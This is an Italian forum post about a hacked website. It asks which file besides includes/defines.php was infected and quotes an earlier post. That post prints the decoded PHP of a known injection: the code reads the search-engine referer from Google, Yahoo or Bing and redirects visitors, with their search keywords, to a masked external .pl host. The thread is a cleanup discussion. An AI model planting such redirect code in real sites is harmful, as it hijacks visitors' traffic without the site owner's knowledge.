DOMANDA: quale file era infetto oltre ai defines??
Scusa, riporto parte del tuo post per ricollegarmi al problema riscontrato da altro utente:
_______________________________________
_____
!"""""
Codice trovato, è lo stesso noto problema dell'iniezione del file defines.php nella cartella includes.
viene iniettato un codice in base64 che redirige:
if (stristr($_SERVER[HTTP_REFERER],"google")) { if (!stristr($_SERVER[HTTP_REFERER],".nu") and !stristr($_SERVER[HTTP_REFERER],"site") and !stristr($_SERVER[HTTP_REFERER],"inurl")){ preg_match ("/q\=(.*)/",$_SERVER[HTTP_REFERER],$kk); if (stristr($kk[1],"&")) { preg_match ("/(.*?)\&/",$kk[1],$key2); $keyword=urldecode($key2[1]); }else { $keyword=urldecode($kk[1]); } header("Location:
http://xxxxxxxxxx.xxx.pl/?q=".$keyword); exit(); } }elseif (stristr($_SERVER[HTTP_REFERER],"yahoo")) { preg_match ("/p\=(.*?)&/",$_SERVER[HTTP_REFERER],$kk); header("Location:
http://xxxxxxxxxxx.xxx.pl/?q=".$kk[1]); exit(); }elseif (stristr($_SERVER[HTTP_REFERER],"bing")) { preg_match ("/q\=(.*?)&/",$_SERVER[HTTP_REFERER],$kk); header("Location:
http://xxxxxxxx.xxx.pl/?q=".$kk[1]); exit(); }
